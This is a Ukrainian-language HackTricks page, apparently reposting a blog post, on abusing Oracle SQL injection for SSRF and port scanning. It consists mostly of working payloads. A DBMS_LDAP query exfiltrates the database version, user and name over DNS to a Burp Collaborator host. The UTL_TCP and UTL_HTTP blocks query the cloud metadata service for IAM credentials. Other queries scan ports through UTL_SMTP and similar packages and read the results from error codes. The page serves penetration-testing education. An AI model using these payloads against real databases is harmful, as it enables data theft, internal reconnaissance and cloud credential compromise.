146 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Oracle injection
{{#include ../../banners/hacktricks-training.md}}
**Надайте цю публікацію копію з Wayback Machine видаленої публікації з [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
## SSRF
Використання Oracle для виконання Out of Band HTTP та DNS запитів добре задокументовано, але як засіб ексфільтрації SQL даних в ін'єкціях. Ми завжди можемо модифікувати ці техніки/функції для виконання інших SSRF/XSPA.
Встановлення Oracle може бути дійсно болісним, особливо якщо ви хочете налаштувати швидкий екземпляр для випробування команд. Мій друг і колега з [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), вказав мені на [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c), що дозволило мені налаштувати екземпляр на машині t2.large AWS Ubuntu та Docker.
Я запустив команду docker з прапором `--network="host"`, щоб я міг імітувати Oracle як рідну установку з повним доступом до мережі, протягом цього блогу.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Пакети Oracle, які підтримують специфікацію URL або Ім'я хоста/Номер порту <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Щоб знайти будь-які пакети та функції, які підтримують специфікацію хоста та порту, я провів пошук у Google на [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Конкретно,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
Пошук повернув такі результати (не всі можуть бути використані для виконання вихідної мережі)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
Цей грубий пошук, очевидно, пропускає пакети, такі як `DBMS_LDAP` (який дозволяє передавати ім'я хоста та номер порту), оскільки [сторінка документації](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) просто вказує вам на [інше місце](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Отже, можуть бути й інші пакети Oracle, які можна зловживати для виконання вихідних запитів, які я міг пропустити.
У будь-якому випадку, давайте розглянемо деякі з пакетів, які ми виявили та перерахували вище.
**DBMS_LDAP.INIT**
Пакет `DBMS_LDAP` дозволяє отримувати доступ до даних з LDAP серверів. Функція `init()` ініціалізує сесію з LDAP сервером і приймає ім'я хоста та номер порту як аргумент.
Цю функцію раніше документували, щоб показати ексфільтрацію даних через DNS, як нижче
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
Однак, враховуючи, що функція приймає ім'я хоста та номер порту як аргументи, ви можете використовувати це, щоб працювати як сканер портів.
Ось кілька прикладів
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` показує, що порт закритий, тоді як значення сесії вказує на те, що порт відкритий.
**UTL_SMTP**
Пакет `UTL_SMTP` призначений для надсилання електронних листів через SMTP. Приклад, наведений на [сайті документації Oracle, показує, як ви можете використовувати цей пакет для надсилання електронного листа](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Однак для нас цікавою є можливість вказати хост і специфікацію порту.
Нижче наведено грубий приклад з функцією `UTL_SMTP.OPEN_CONNECTION`, з тайм-аутом 2 секунди.
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
`ORA-29276: transfer timeout` показує, що порт відкритий, але жодне SMTP з'єднання не було встановлено, тоді як `ORA-29278: SMTP transient error: 421 Service not available` показує, що порт закритий.
**UTL_TCP**
Пакет `UTL_TCP` та його процедури і функції дозволяють [TCP/IP на основі зв'язку з сервісами](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Якщо він запрограмований для конкретного сервісу, цей пакет може легко стати шляхом у мережу або виконувати повні запити з боку сервера, оскільки всі аспекти TCP/IP з'єднання можуть бути контрольовані.
Приклад [на сайті документації Oracle показує, як ви можете використовувати цей пакет для створення сирого TCP з'єднання для отримання веб-сторінки](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Ми можемо трохи спростити це і використовувати його для виконання запитів до екземпляра метаданих, наприклад, або до довільного TCP/IP сервісу.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
```
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
Цікаво, що завдяки можливості створювати сирі TCP запити, цей пакет також можна використовувати для запитів до служби метаданих екземпляра всіх постачальників хмарних послуг, оскільки тип методу та додаткові заголовки можуть бути передані в запиті TCP.
**UTL_HTTP та веб-запити**
Мабуть, найпоширеніша та найдокументованіша техніка в кожному навчальному посібнику з Out of Band Oracle SQL Injection - це пакет [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Цей пакет визначається документацією як - `Пакет UTL_HTTP здійснює виклики протоколу передачі гіпертексту (HTTP) з SQL та PL/SQL. Ви можете використовувати його для доступу до даних в Інтернеті через HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
Ви також можете використовувати це для виконання деякого елементарного сканування портів за допомогою запитів, таких як
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
`ORA-12541: TNS:no listener` або `TNS:operation timed out` є ознакою того, що TCP порт закритий, тоді як `ORA-29263: HTTP protocol error` або дані є ознакою того, що порт відкритий.
Інший пакет, який я використовував у минулому з різним успіхом, це [`GETCLOB()` метод абстрактного типу `HTTPURITYPE` Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705), який дозволяє взаємодіяти з URL і надає підтримку для HTTP протоколу. Метод `GETCLOB()` використовується для отримання GET відповіді з URL як [CLOB типу даних.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
{{#include ../../banners/hacktricks-training.md}}